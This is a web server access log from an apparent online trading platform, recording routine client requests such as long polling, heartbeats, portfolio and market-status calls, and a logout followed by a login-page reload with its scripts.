[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 233
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946661620 HTTP/1.1" -
[09/Jan/2026:16:13:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 4483
[09/Jan/2026:16:13:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946662969 HTTP/1.1" -
[09/Jan/2026:16:13:17 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946666688 HTTP/1.1" -
[09/Jan/2026:16:13:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946667993 HTTP/1.1" -
[09/Jan/2026:16:13:22 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946671783 HTTP/1.1" -
[09/Jan/2026:16:13:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946673016 HTTP/1.1" -
[09/Jan/2026:16:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/LogoutAA.jsp HTTP/1.1" 12
[09/Jan/2026:16:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Logout HTTP/1.1" 1
[09/Jan/2026:16:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767946674705 HTTP/1.1" 3179
[09/Jan/2026:16:13:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:13:27 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946676802 HTTP/1.1" -
[09/Jan/2026:16:13:32 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946681861 HTTP/1.1" -
[09/Jan/2026:16:13:37 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946686944 HTTP/1.1" -
[09/Jan/2026:16:13:40 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:40 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:13:40 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:40 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:13:42 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946692012 HTTP/1.1" -
[09/Jan/2026:16:13:47 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946697039 HTTP/1.1" -
[09/Jan/2026:16:13:52 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946702068 HTTP/1.1" -
[09/Jan/2026:16:13:58 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946707140 HTTP/1.1" -
[09/Jan/2026:16:14:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946712243 HTTP/1.1" -
[09/Jan/2026:16:14:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:14:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 94
[09/Jan/2026:16:14:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:14:06 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:14:06 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:14:06 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 4482
[09/Jan/2026:16:14:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946717320 HTTP/1.1" -
[09/Jan/2026:16:14:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:14:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:14:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:14:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:14:13 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946722341 HTTP/1.1" -
[09/Jan/2026:16:14:18 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946727365 HTTP/1.1" -
[09/Jan/2026:16:14:23 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946732479 HTTP/1.1" -
[09/Jan/2026:16:14:29 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946738470 HTTP/1.1" -
[09/Jan/2026:16:14:31 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:16:14:34 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946743589 HTTP/1.1" -
[09/Jan/2026:16:14:40 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946749467 HTTP/1.1" -
[09/Jan/2026:16:14:41 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:14:41 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:14:41 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:14:41 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:14:46 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946755464 HTTP/1.1" -
[09/Jan/2026:16:14:51 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946760542 HTTP/1.1" -
[09/Jan/2026:16:14:56 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946765659 HTTP/1.1" -
[09/Jan/2026:16:15:02 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946771465 HTTP/1.1" -
[09/Jan/2026:16:15:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946777458 HTTP/1.1" -
[09/Jan/2026:16:15:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:15:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:15:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:15:12 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:15:14 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946783467 HTTP/1.1" -
[09/Jan/2026:16:15:19 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53132?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946788521 HTTP/1.1" -
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767947089291 HTTP/1.1" -
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
